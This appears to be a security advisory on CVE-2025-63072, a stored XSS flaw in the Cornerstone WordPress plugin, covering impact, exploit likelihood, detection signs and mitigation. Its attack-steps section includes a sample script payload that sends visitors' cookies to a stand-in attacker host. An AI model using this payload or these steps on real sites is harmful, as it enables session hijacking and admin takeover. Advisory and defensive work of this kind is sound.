CVE-2025-63072: 
WordPress vulnerability analysis and mitigation

CVE-2025-63072 is a Stored Cross-Site Scripting (XSS) vulnerability in the THEMECO Cornerstone WordPress plugin, affecting all versions up to and including 7.7.3. The vulnerability was discovered by João Pedro S Alcântara (Kinorth), reported on September 6, 2025, and published by Patchstack on October 6, 2025. It was formally assigned a CVE identifier and published to NVD on December 9, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the Stored XSS variant. It arises from insufficient sanitization or escaping of user-supplied input within the Cornerstone page builder plugin before it is stored and subsequently rendered in web pages. Exploitation requires the attacker to hold at least a Contributor or Developer-level role on the WordPress site, and successful impact requires a privileged user to interact with the maliciously crafted content (e.g., viewing a page or post containing the injected payload) (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which are then executed in the browsers of visiting users, including administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious external resources. The scope is marked as Changed in the CVSS vector, indicating that the impact extends beyond the vulnerable component to affect other users' browser sessions (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-63072. The EPSS score is approximately 0.039% (0.000390), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies the priority as Low, noting the issue is unlikely to be exploited, though it acknowledges that XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites (Patchstack).

1. Privilege Acquisition: Obtain at least a Contributor or Developer role on the target WordPress site running Cornerstone plugin version 7.7.3 or earlier.
2. Payload Crafting: Craft a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to steal session cookies or perform unauthorized actions.
3. Payload Injection: Insert the crafted payload into a Cornerstone-managed content field (such as a page builder element or custom field) that lacks proper input sanitization, and save or publish the content.
4. Trigger Execution: Wait for a privileged user (e.g., an administrator) to view the page or post containing the stored payload, causing the malicious script to execute in their browser context.
5. Objective Achievement: Leverage the executed script to steal session tokens, perform actions on behalf of the victim (e.g., create rogue admin accounts), or redirect visitors to attacker-controlled infrastructure (Patchstack).

• Logs: WordPress access logs showing POST requests to page/post editing endpoints by low-privileged accounts (Contributor/Developer) containing encoded or obfuscated script tags or JavaScript event handlers.
• File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing <script>, javascript:, or HTML event attributes (e.g., onerror, onload) within Cornerstone builder fields.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages managed by the Cornerstone plugin, potentially indicating cookie or credential exfiltration.
• Logs: WordPress audit logs (if enabled) recording content edits by Contributor or Developer roles that introduce script-like content into Cornerstone page builder elements.

As of the time of publication, no official patch from THEMECO has been released for the Cornerstone plugin addressing CVE-2025-63072. Site administrators should update the plugin to any version beyond 7.7.3 if and when a patched release becomes available. In the interim, restrict the Contributor and Developer roles to trusted users only, and consider using a WordPress security plugin such as Patchstack to apply virtual patches that block exploitation attempts. Disabling the Cornerstone plugin until a fix is available is an option for high-risk environments (Patchstack).